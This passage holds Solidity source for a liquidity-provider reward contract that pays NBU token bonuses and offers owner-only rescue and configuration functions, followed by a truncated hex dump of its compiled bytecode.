lpTokenAmounts[recipient][pair] = previousAmount.sub(liquidity);
amount0 = amountA.mul(difference) / 1e18;
amount1 = amountB.mul(difference) / 1e18;
}
uint amountNbu;
if (tokenA != NBU && tokenB != NBU) {
address tokenToNbuPair = swapFactory.getPair(tokenA, NBU);
if (tokenToNbuPair != address(0)) {
amountNbu = INimbusRouter(swapRouter).getAmountsOut(amount0, getPathForToken(tokenA))[1];
}
tokenToNbuPair = swapFactory.getPair(tokenB, NBU);
if (tokenToNbuPair != address(0)) {
if (amountNbu != 0) {
amountNbu = amountNbu.add(INimbusRouter(swapRouter).getAmountsOut(amount1, getPathForToken(tokenB))[1]);
} else {
amountNbu = INimbusRouter(swapRouter).getAmountsOut(amount1, getPathForToken(tokenB))[1].mul(2);
}
} else {
amountNbu = amountNbu.mul(2);
}
} else if (tokenA == NBU) {
amountNbu = amount0.mul(2);
} else {
amountNbu = amount1.mul(2);
}
if (amountNbu != 0 && amountNbu <= availableReward() && IERC20(NBU).balanceOf(address(this)) >= amountNbu) {
IERC20(NBU).transfer(recipient, amountNbu);
lpRewardUsed = lpRewardUsed.add(amountNbu);
emit RecordRemoveLiquidityGiveNbu(recipient, pair, amountNbu, amountA, amountB, liquidity);
} else {
uint amountS0;
uint amountS1;
{
(address token0,) = sortTokens(tokenA, tokenB);
(amountS0, amountS1) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
}
if (unclaimedAmounts[recipient][pair].length == 0) {
unclaimedAmounts[recipient][pair].push(amountS0);
unclaimedAmounts[recipient][pair].push(amountS1);
} else {
unclaimedAmounts[recipient][pair][0] = unclaimedAmounts[recipient][pair][0].add(amountS0);
unclaimedAmounts[recipient][pair][1] = unclaimedAmounts[recipient][pair][1].add(amountS1);
}
emit RecordRemoveLiquidityUnclaimed(recipient, pair, amount0, amount1, liquidity);
}
ratioUpdateLast[recipient][pair] = block.timestamp;
}
function claimBonusBatch(address[] memory pairs, address recipient) external {
for (uint i; i < pairs.length; i++) {
claimBonus(pairs[i],recipient);
}
}
function claimBonus(address pair, address recipient) public lock {
require (allowedPairs[pair], "LPReward: Not allowed pair");
require (unclaimedAmounts[recipient][pair].length > 0 && (unclaimedAmounts[recipient][pair][0] > 0 || unclaimedAmounts[recipient][pair][1] > 0), "LPReward: No undistributed fee bonuses");
uint amountA;
uint amountB;
amountA = unclaimedAmounts[recipient][pair][0];
amountB = unclaimedAmounts[recipient][pair][1];
unclaimedAmounts[recipient][pair][0] = 0;
unclaimedAmounts[recipient][pair][1] = 0;
uint amountNbu = nbuAmountForPair(pair, amountA, amountB);
require (amountNbu > 0, "LPReward: No NBU pairs to token A and token B");
require (amountNbu <= availableReward(), "LPReward: Available reward for the period is used");
IERC20(NBU).transfer(recipient, amountNbu);
lpRewardUsed = lpRewardUsed.add(amountNbu);
emit ClaimLiquidityNbu(recipient, amountNbu, amountA, amountB);
}
function unclaimedAmountNbu(address recipient, address pair) external view returns (uint) {
uint amountA;
uint amountB;
if (unclaimedAmounts[recipient][pair].length != 0) {
amountA = unclaimedAmounts[recipient][pair][0];
amountB = unclaimedAmounts[recipient][pair][1];
} else {
return 0;
}
return nbuAmountForPair(pair, amountA, amountB);
}
function unclaimedAmount(address recipient, address pair) external view returns (uint amountA, uint amountB) {
if (unclaimedAmounts[recipient][pair].length != 0) {
amountA = unclaimedAmounts[recipient][pair][0];
amountB = unclaimedAmounts[recipient][pair][1];
}
}
function availableReward() public view returns (uint) {
uint rewardForPeriod = lpRewardMaxAmount.mul(block.timestamp - startReward) / rewardPeriod;
if (rewardForPeriod > lpRewardUsed) return rewardForPeriod.sub(lpRewardUsed);
else return 0;
}
function nbuAmountForPair(address pair, uint amountA, uint amountB) private view returns (uint amountNbu) {
address tokenA = pairTokens[pair][0];
address tokenB = pairTokens[pair][1];
if (tokenA != NBU && tokenB != NBU) {
address tokenToNbuPair = swapFactory.getPair(tokenA, NBU);
if (tokenToNbuPair != address(0)) {
amountNbu = INimbusRouter(swapRouter).getAmountsOut(amountA, getPathForToken(tokenA))[1];
}
tokenToNbuPair = swapFactory.getPair(tokenB, NBU);
if (tokenToNbuPair != address(0)) {
if (amountNbu != 0) {
amountNbu = amountNbu.add(INimbusRouter(swapRouter).getAmountsOut(amountB, getPathForToken(tokenB))[1]);
} else {
amountNbu = INimbusRouter(swapRouter).getAmountsOut(amountB, getPathForToken(tokenB))[1].mul(2);
}
} else {
amountNbu = amountNbu.mul(2);
}
} else if (tokenA == NBU) {
amountNbu = amountA.mul(2);
} else {
amountNbu = amountB.mul(2);
}
}
function getPathForToken(address token) private view returns (address[] memory) {
address[] memory path = new address[](2);
path[0] = token;
path[1] = NBU;
return path;
}
function sortTokens(address tokenA, address tokenB) private pure returns (address token0, address token1) {
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
}
function rescue(address payable to, uint256 amount) external onlyOwner {
require(to != address(0), "LPReward: Address is zero");
require(amount > 0, "LPReward: Should be greater than 0");
TransferHelper.safeTransferETH(to, amount);
emit Rescue(to, amount);
}
function rescue(address to, address token, uint256 amount) external onlyOwner {
require(to != address(0), "LPReward: Address is zero");
require(amount > 0, "LPReward: Should be greater than 0");
TransferHelper.safeTransfer(token, to, amount);
emit RescueToken(token, to, amount);
}
function updateSwapRouter(address newRouter) external onlyOwner {
require (newRouter != address(0), "LPReward: Zero address");
swapRouter = newRouter;
}
function updateAllowedPair(address tokenA, address tokenB, bool isAllowed) external onlyOwner {
require (tokenA != address(0) && tokenB != address(0) && tokenA != tokenB, "LPReward: Wrong addresses");
address pair = swapFactory.getPair(tokenA, tokenB);
require (pair != address(0), "LPReward: Pair not exists");
if (!allowedPairs[pair]) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pairTokens[pair].push(token0);
pairTokens[pair].push(token1);
}
allowedPairs[pair] = isAllowed;
}
function updateRewardMaxAmount(uint newAmount) external onlyOwner {
lpRewardMaxAmount = newAmount;
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80637a4e4ecf11610104578063d30af7ff116100a2578063f2fde38b11610071578063f2fde38b14610381578063f852b04a14610394578063fc7defff146103a7578063fd7271ae146103af576101cf565b8063d30af7ff1461033e578063d4ee1d901461035e578063e09d980114610366578063e88dc5b714610379576101cf565b80639e3de313116100de5780639e3de313146102fd578063a400008914610310578063b98b677f14610323578063c31c9c0714610336576101cf565b80637a4e4ecf146102cf5780638da5cb5b146102e2578063901b89fa146102ea576101cf565b80634866af1011610171578063746c8ae11161014b578063746c8ae1146102a45780637700964e146102ac5780637944f944146102bf57806379ba5097146102c7576101cf565b80634866af10146102765780634ad84b34146102895780636d513e3514610291576101cf565b806320ff430b116101ad57806320ff430b1461023357806325a153bd146102485780632953d5471461025057806336a3c41d14610263576101cf565b80630500b714146101d457806316454754146101fd5780631fe921ea14610212575b600080fd5b6101e76101e23660046131e1565b6103c2565b6040516101f49190613a2f565b60405180910390f35b610205610400565b6040516101f49190613448565b6102256102203660046130fb565b61041c565b6040516101f4929190613a9b565b6102466102413660046131e1565b610551565b005b6101e761067d565b61024661025e3660046133df565b610683565b610205610271366004613271565b6106d9565b6101e76102843660046130fb565b61071e565b6101e761073b565b6101e761029f3660046130fb565b6107ae565b6101e7610903565b6102466102ba366004613221565b610927565b610205610b48565b610246610b64565b6102466102dd3660046130d0565b610c1e565b610205610d3d565b6102466102f8366004613283565b610d59565b61024661030b3660046130fb565b610dc6565b61024661031e366004613197565b61133f565b610246610331366004613091565b61163e565b610205611723565b61035161034c366004613091565b61173f565b6040516101f4919061359b565b610205611754565b6101e76103743660046130fb565b611770565b6101e761178d565b61024661038f366004613091565b611795565b6101e76103a23660046130fb565b611855565b6101e7611872565b6102466103bd366004613133565b611878565b600a60205282600052604060002060205281600052604060002081815481106103ea57600080fd5b9060005260206000200160009250925050505481565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff8083166000908152600a6020908152604080832093851683529290529081205481901561054a5773ffffffffffffffffffffffffffffffffffffffff8085166000908152600a60209081526040808320938716835292905290812080549091906104c4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff8088168452600a83526040808520918816855292529120805491935090600190811061053c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490505b9250929050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146105ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138aa565b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff83166105f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a29061383c565b60008111610632576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a29061374d565b61063d8284836126ad565b7faabf44ab9d5bef08d1b60f287a337f0d11a248e49741ad189b429e47e98ba910828483604051610670939291906134b6565b60405180910390a1505050565b60035481565b60005473ffffffffffffffffffffffffffffffffffffffff1633146106d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138aa565b600255565b600c60205281600052604060002081815481106106f557600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff169150829050565b600760209081526000928352604080842090915290825290205481565b6000806301e133806107796107707f0000000000000000000000000000000000000000000000000000000060406af242613ba0565b600254906127cf565b6107839190613b2a565b90506003548111156107a55760035461079d908290612829565b9150506107ab565b60009150505b90565b73ffffffffffffffffffffffffffffffffffffffff8083166000908152600a6020908152604080832093851683529290529081205481908190156108e25773ffffffffffffffffffffffffffffffffffffffff8086166000908152600a6020908152604080832093881683529290529081208054909190610858577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff8089168452600a8352604080852091891685529252912080549193509060019081106108d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490506108ed565b6000925050506108fd565b6108f8848383612871565b925050505b92915050565b7f0000000000000000000000000000000000000000000000000000000060406af281565b60055473ffffffffffffffffffffffffffffffffffffffff163314610978576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906137aa565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600b602052604090205460ff166109aa57610b41565b6000816109d1670de0b6b3a76400006109cb6109c688886127cf565b612dde565b906127cf565b6109db9190613b2a565b73ffffffffffffffffffffffffffffffffffffffff8088166000908152600860209081526040808320938a168352929052205490915080821015610a20575050610b41565b73ffffffffffffffffffffffffffffffffffffffff8088166000908152600760209081526040808320938a1683529290529081205490610a608286612e4e565b90506000610a9782610a7287896127cf565b610a7c9190613b2a565b83610a8787876127cf565b610a919190613b2a565b90612e4e565b73ffffffffffffffffffffffffffffffffffffffff808c166000818152600860209081526040808320948f16808452948252808320869055838352600782528083208584528252808320889055928252600981528282209382529290925290819020429055519091507f21c13b7c441b15297dafa4085aedb73fa2925bda88d9a9d70b4ac5dd0f945c3290610b33908790849088908b90613aa9565b60405180910390a150505050505b5050505050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff163314610b8857600080fd5b6001546000805460405173ffffffffffffffffffffffffffffffffffffffff93841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138aa565b73ffffffffffffffffffffffffffffffffffffffff8216610cbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a29061383c565b60008111610cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a29061374d565b610d008282612e96565b7f542fa6bfee3b4746210fbdd1d83f9e49b65adde3639f8d8f165dd18347938af28282604051610d31929190613469565b60405180910390a15050565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60005b8251811015610dc157610daf838281518110610da1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015183610dc6565b80610db981613bb7565b915050610d5c565b505050565b600d54600114610e02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613614565b6000600d81905573ffffffffffffffffffffffffffffffffffffffff83168152600b602052604090205460ff16610e65576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613873565b73ffffffffffffffffffffffffffffffffffffffff8082166000908152600a602090815260408083209386168352929052205415801590610f99575073ffffffffffffffffffffffffffffffffffffffff8082166000908152600a60209081526040808320938616835292905290812080548290610f0c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001541180610f99575073ffffffffffffffffffffffffffffffffffffffff8082166000908152600a60209081526040808320938616835292905290812080546001908110610f8c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154115b610fcf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906137df565b73ffffffffffffffffffffffffffffffffffffffff8082166000908152600a6020908152604080832093861683529290529081208054829190829061103d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff8087168452600a8352604080852091891685529252912080549193509060019081106110b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff8087168452600a8352604080852091891685529252908220805491935090829061112b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091019290925573ffffffffffffffffffffffffffffffffffffffff8086168252600a8352604080832091881683529252908120805460019081106111a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555060006111be858484612871565b9050600081116111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906136f0565b61120261073b565b81111561123b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613907565b600480546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169163a9059cbb91611292918891869101613469565b602060405180830381600087803b1580156112ac57600080fd5b505af11580156112c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e491906133c3565b506003546112f29082612e4e565b6003556040517f5467bc95bee92cd7b7d330372f202b2f1b942dd1684dd90863b538299c9bde659061132b908690849087908790613568565b60405180910390a150506001600d55505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314611390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138aa565b73ffffffffffffffffffffffffffffffffffffffff8316158015906113ca575073ffffffffffffffffffffffffffffffffffffffff821615155b801561140257508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b611438576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613682565b6006546040517fe6a4390500000000000000000000000000000000000000000000000000000000815260009173ffffffffffffffffffffffffffffffffffffffff169063e6a4390590611491908790879060040161348f565b60206040518083038186803b1580156114a957600080fd5b505afa1580156114bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e191906130b4565b905073ffffffffffffffffffffffffffffffffffffffff8116611530576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906139f8565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600b602052604090205460ff166115e95760008061156a8686612f4a565b73ffffffffffffffffffffffffffffffffffffffff8581166000908152600c6020908152604082208054600180820183558285529290932092830180547fffffffffffffffffffffffff000000000000000000000000000000000000000090811697861697909717905580549182019055018054909316911617905550505b73ffffffffffffffffffffffffffffffffffffffff166000908152600b6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169115159190911790555050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461168f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138aa565b73ffffffffffffffffffffffffffffffffffffffff81166116dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906136b9565b600580547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b600b6020526000908152604090205460ff1681565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b600860209081526000928352604080842090915290825290205481565b6301e1338081565b60005473ffffffffffffffffffffffffffffffffffffffff1633146117e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906138aa565b60015473ffffffffffffffffffffffffffffffffffffffff8281169116141561180e57600080fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600960209081526000928352604080842090915290825290205481565b60025481565b600d546001146118b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613614565b6000600d5560055473ffffffffffffffffffffffffffffffffffffffff16331461190a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906137aa565b6006546040517fe6a4390500000000000000000000000000000000000000000000000000000000815260009173ffffffffffffffffffffffffffffffffffffffff169063e6a4390590611963908990899060040161348f565b60206040518083038186803b15801561197b57600080fd5b505afa15801561198f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b391906130b4565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600b602052604090205490915060ff166119e957506126a0565b73ffffffffffffffffffffffffffffffffffffffff8088166000908152600760209081526040808320938516835292905290812054819080611a2e57505050506126a0565b600085611a4a670de0b6b3a76400006109cb6109c68c8c6127cf565b611a549190613b2a565b73ffffffffffffffffffffffffffffffffffffffff808d166000908152600860209081526040808320938a1683529290522054909150801580611aa057508015801590611aa057508082105b15611ab0575050505050506126a0565b6000611abc8383612829565b905087841015611aca578397505b611af784611ad8858b6127cf565b611ae29190613b2a565b85610a87611af0828d612829565b86906127cf565b73ffffffffffffffffffffffffffffffffffffffff808f166000908152600860209081526040808320938c1683529290522055611b348489612829565b73ffffffffffffffffffffffffffffffffffffffff808f166000908152600760209081526040808320938c1683529290522055670de0b6b3a7640000611b7a8b836127cf565b611b849190613b2a565b9550670de0b6b3a7640000611b998a836127cf565b611ba39190613b2a565b6004549095506000945073ffffffffffffffffffffffffffffffffffffffff8d8116911614801593509150611bf59050575060045473ffffffffffffffffffffffffffffffffffffffff898116911614155b156120ee576000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a439058b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401611c7b92919061348f565b60206040518083038186803b158015611c9357600080fd5b505afa158015611ca7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ccb91906130b4565b905073ffffffffffffffffffffffffffffffffffffffff811615611de45760055473ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85611d118d612f95565b6040518363ffffffff1660e01b8152600401611d2e929190613a38565b60006040518083038186803b158015611d4657600080fd5b505afa158015611d5a573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052611da09190810190613333565b600181518110611dd9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015191505b600654600480546040517fe6a4390500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9384169363e6a4390593611e3f938f939216910161348f565b60206040518083038186803b158015611e5757600080fd5b505afa158015611e6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e8f91906130b4565b905073ffffffffffffffffffffffffffffffffffffffff8116156120da578115611fc557600554611fbe9073ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85611edf8d612f95565b6040518363ffffffff1660e01b8152600401611efc929190613a38565b60006040518083038186803b158015611f1457600080fd5b505afa158015611f28573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052611f6e9190810190613333565b600181518110611fa7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015183612e4e90919063ffffffff16565b91506120d5565b6005546120d29060029073ffffffffffffffffffffffffffffffffffffffff1663d06ca61f86611ff48e612f95565b6040518363ffffffff1660e01b8152600401612011929190613a38565b60006040518083038186803b15801561202957600080fd5b505afa15801561203d573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526120839190810190613333565b6001815181106120bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516127cf90919063ffffffff16565b91505b6120e8565b6120e58260026127cf565b91505b50612131565b60045473ffffffffffffffffffffffffffffffffffffffff8a8116911614156121235761211c8360026127cf565b9050612131565b61212e8260026127cf565b90505b8015801590612147575061214361073b565b8111155b80156121f85750600480546040517f70a08231000000000000000000000000000000000000000000000000000000008152839273ffffffffffffffffffffffffffffffffffffffff909216916370a08231916121a591309101613448565b60206040518083038186803b1580156121bd57600080fd5b505afa1580156121d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121f591906133f7565b10155b156122fe57600480546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169163a9059cbb91612254918e91869101613469565b602060405180830381600087803b15801561226e57600080fd5b505af1158015612282573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122a691906133c3565b506003546122b49082612e4e565b6003556040517f423c10be1ddd44a4aea648533ce6258cb0c8d3fe3e0be3e2163554a0a5c8cce6906122f1908c90879085908c908c908c90613525565b60405180910390a1612664565b600080600061230d8c8c612f4a565b5090508073ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff161461234a57848661234d565b85855b809350819450505050600a60008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050600014156124385773ffffffffffffffffffffffffffffffffffffffff8c81166000908152600a60209081526040808320938a168352928152918120805460018082018355828452939092209182018590558054928301905501819055612622565b73ffffffffffffffffffffffffffffffffffffffff808d166000908152600a60209081526040808320938a16835292905290812080546124c1928592916124a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154612e4e90919063ffffffff16565b73ffffffffffffffffffffffffffffffffffffffff808e166000908152600a60209081526040808320938b168352929052908120805490919061252d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091019290925573ffffffffffffffffffffffffffffffffffffffff808f168252600a83526040808320918a16835292522080546125a991839160019081106124a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff808e166000908152600a60209081526040808320938b1683529290522080546001908110612615577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602090912001555b7f4eeb4e69f7912906286c90ce3657a8e0c0b6df76ca4119096864e8a6956460708c8787878b6040516126599594939291906134e7565b60405180910390a150505b50505073ffffffffffffffffffffffffffffffffffffffff80881660009081526009602090815260408083209490931682529290925290204290555b50506001600d5550505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040516024016126df929190613469565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161272d919061340f565b6000604051808303816000865af19150503d806000811461276a576040519150601f19603f3d011682016040523d82523d6000602084013e61276f565b606091505b509150915081801561279957508051158061279957508080602001905181019061279991906133c3565b610b41576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906135a6565b60008115806127f3575082826127e58183613b63565b92506127f19083613b2a565b145b6108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a29061364b565b6000826128368382613ba0565b91508111156108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906135dd565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600c60205260408120805482919082906128d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff8881168452600c909252604083208054929091169350906001908110612942577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020909120015460045473ffffffffffffffffffffffffffffffffffffffff9182169250838216911614801590612999575060045473ffffffffffffffffffffffffffffffffffffffff828116911614155b15612d9257600654600480546040517fe6a4390500000000000000000000000000000000000000000000000000000000815260009373ffffffffffffffffffffffffffffffffffffffff9081169363e6a43905936129fd938993909116910161348f565b60206040518083038186803b158015612a1557600080fd5b505afa158015612a29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a4d91906130b4565b905073ffffffffffffffffffffffffffffffffffffffff811615612b665760055473ffffffffffffffffffffffffffffffffffffffff1663d06ca61f87612a9386612f95565b6040518363ffffffff1660e01b8152600401612ab0929190613a38565b60006040518083038186803b158015612ac857600080fd5b505afa158015612adc573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052612b229190810190613333565b600181518110612b5b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015193505b600654600480546040517fe6a4390500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9384169363e6a4390593612bc19388939216910161348f565b60206040518083038186803b158015612bd957600080fd5b505afa158015612bed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c1191906130b4565b905073ffffffffffffffffffffffffffffffffffffffff811615612d7e578315612d4757600554612d409073ffffffffffffffffffffffffffffffffffffffff1663d06ca61f87612c6186612f95565b6040518363ffffffff1660e01b8152600401612c7e929190613a38565b60006040518083038186803b158015612c9657600080fd5b505afa158015612caa573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052612cf09190810190613333565b600181518110612d29577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015185612e4e90919063ffffffff16565b9350612d79565b600554612d769060029073ffffffffffffffffffffffffffffffffffffffff1663d06ca61f88611ff487612f95565b93505b612d8c565b612d898460026127cf565b93505b50612dd5565b60045473ffffffffffffffffffffffffffffffffffffffff83811691161415612dc757612dc08560026127cf565b9250612dd5565b612dd28460026127cf565b92505b50509392505050565b60006003821115612e3f5750806000612df8600283613b2a565b612e03906001613b12565b90505b81811015612e3957905080600281612e1e8186613b2a565b612e289190613b12565b612e329190613b2a565b9050612e06565b50612e49565b8115612e49575060015b919050565b600082612e5b8382613b12565b91508110156108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613964565b6040805160008082526020820190925273ffffffffffffffffffffffffffffffffffffffff8416908390604051612ecd919061340f565b60006040518083038185875af1925050503d8060008114612f0a576040519150601f19603f3d011682016040523d82523d6000602084013e612f0f565b606091505b5050905080610dc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a29061399b565b6000808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1610612f87578284612f8a565b83835b909590945092505050565b604080516002808252606080830184529260009291906020830190803683370190505090508281600081518110612ff5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201015260045482519116908290600190811061305a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff909216602092830291909101909101529050919050565b8035612e4981613c4e565b6000602082840312156130a2578081fd5b81356130ad81613c4e565b9392505050565b6000602082840312156130c5578081fd5b81516130ad81613c4e565b600080604083850312156130e2578081fd5b82356130ed81613c4e565b946020939093013593505050565b6000806040838503121561310d578182fd5b823561311881613c4e565b9150602083013561312881613c4e565b809150509250929050565b60008060008060008060c0878903121561314b578182fd5b863561315681613c4e565b9550602087013561316681613c4e565b9450604087013561317681613c4e565b959894975094956060810135955060808101359460a0909101359350915050565b6000806000606084860312156131ab578283fd5b83356131b681613c4e565b925060208401356131c681613c4e565b915060408401356131d681613c73565b809150509250925092565b6000806000606084860312156131f5578283fd5b833561320081613c4e565b9250602084013561321081613c4e565b929592945050506040919091013590565b600080600080600060a08688031215613238578081fd5b853561324381613c4e565b9450602086013561325381613c4e565b94979496505050506040830135926060810135926080909101359150565b600080604083850312156130e2578182fd5b60008060408385031215613295578081fd5b823567ffffffffffffffff8111156132ab578182fd5b8301601f810185136132bb578182fd5b803560206132d06132cb83